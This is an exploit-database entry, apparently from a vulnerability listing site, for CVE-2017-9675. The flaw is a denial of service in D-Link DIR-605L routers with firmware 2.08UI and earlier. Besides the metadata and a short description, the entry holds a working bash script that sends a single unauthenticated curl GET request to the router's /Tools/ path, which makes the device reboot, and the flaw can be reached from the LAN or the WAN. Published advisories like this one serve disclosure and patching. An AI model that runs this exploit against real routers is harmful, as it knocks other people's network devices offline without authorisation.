Lucene search

K
exploitpackEnrique CastilloEXPLOITPACK:FA23B3DD3D15AA655400A11C86395442
HistoryNov 14, 2017 - 12:00 a.m.

D-Link DIR-605L 2.08 - Denial of Service

2017-11-1400:00:00
Enrique Castillo
12

0.015 Low

EPSS

Percentile

87.1%

D-Link DIR-605L 2.08 - Denial of Service

# Exploit Title: D-Link DIR605L <=2.08 Denial of Service via HTTP GET (CVE-2017-9675)
# Date: 2017-11-14
# Exploit Author: Enrique Castillo
# Contact: https://twitter.com/_hyperlogic
# Detailed Analysis: http://hypercrux.com/bug-report/2017/06/19/DIR605L-DoS-BugReport/
# Vendor Homepage: http://us.dlink.com/
# Software Link: specific version no longer available on vendor site
# Version: 2.08UI and prior
# CVE : CVE-2017-9675
# Tested on Linux
###
# Description: Firmware versions 2.08UI and lower contain a bug in the function that handles HTTP GET requests for 
# directory paths that can allow an unauthenticated attacker to cause complete denial of service (device reboot). This bug can be triggered 
# from both LAN and WAN.
###
#!/usr/bin/env bash
# usage: ./sploit.sh <router_ip>
ROUTER=$1

if [ "$#" -ne 1 ]; then
    echo "usage: $0 <router_ip>"
    exit
fi
    
curl http://$ROUTER/Tools/

0.015 Low

EPSS

Percentile

87.1%

Related for EXPLOITPACK:FA23B3DD3D15AA655400A11C86395442